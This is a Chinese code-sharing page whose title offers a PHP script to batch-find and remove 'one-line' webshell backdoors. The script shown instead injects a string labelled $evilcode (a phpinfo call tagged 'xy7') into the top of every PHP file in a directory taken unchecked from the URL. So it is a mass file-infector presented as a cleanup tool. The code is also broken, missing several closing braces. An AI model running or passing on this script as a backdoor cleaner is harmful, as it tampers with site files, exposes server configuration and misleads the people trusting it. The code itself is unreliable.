欢迎来到代码驿站!

PHP代码

当前位置:首页 > 软件编程 > PHP代码

用php实现批量查询清除一句话后门的代码

时间:2021-06-18 08:45:19|栏目:PHP代码|点击:
总是忘记一句话放到哪个文件里去了,直接全部干掉...
复制代码 代码如下:

<?//xy7 
if (!isset($dir) or empty($dir)) { 
$dir=str_replace('\\','/',dirname(__FILE__)); 
echo "<font color=\"#00688B\">".$dir."</font>"; 
} else { 
$dir=$_GET['dir']; 
echo "<font color=\"#00688B\">".$dir."</font>"; 

$evilcode="<?phpinfo();//xy7?>"; 
$testdir = opendir($dir); 
while($filea = @readdir($testdir)){ 
if(strstr($filea, '.php')){ 
$fp = @fopen($filea, 'r+'); 
if (!strstr(@fread($fp, 20), 'xy7')){ 
rewind($fp); 
$old = @fread($fp, filesize($filea)); 
rewind($fp); 
fwrite($fp, $evilcode . $old); 

fclose($fp); 


closedir($testdir); 
?> 
<hr> 
<table width="100%" border="0" cellpadding="3" cellspacing="1"> 
<tr> 
<td><b>被X的文件</b></td> 
<td><b>时间</b></td> 
<td><b>大小</b></td> 
</tr> 
<?php 
$dirs=@opendir($dir); 
while ($file=@readdir($dirs)) { 
if ((is_file($file)) and (ereg("\.php{0,1}$",$file))) 
{$b="$dir/$file"; 
$a=@is_dir($b); 
if($a=="0"){ 
$size=@filesize("$dir/$file"); 
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file")); 
echo "<tr>\n"; 
echo "<td>$file</td>\n"; 
echo " <td>$lastsave</td>\n"; 
echo " <td>$size Bytes</td>\n"; 



@closedir($dirs); 
?> 
</table> 
codz by xuanmumu 

上一篇:PHP多线程编程之管道通信实例分析

栏    目:PHP代码

下一篇:php使用APC实现实时上传进度条功能

本文标题:用php实现批量查询清除一句话后门的代码

本文地址:http://www.codeinn.net/misctech/143989.html

推荐教程

广告投放 | 联系我们 | 版权申明

重要申明:本站所有的文章、图片、评论等,均由网友发表或上传并维护或收集自网络,属个人行为,与本站立场无关。

如果侵犯了您的权利,请与我们联系,我们将在24小时内进行处理、任何非本站因素导致的法律后果,本站均不负任何责任。

联系QQ:914707363 | 邮箱:codeinn#126.com(#换成@)

Copyright © 2020 代码驿站 版权所有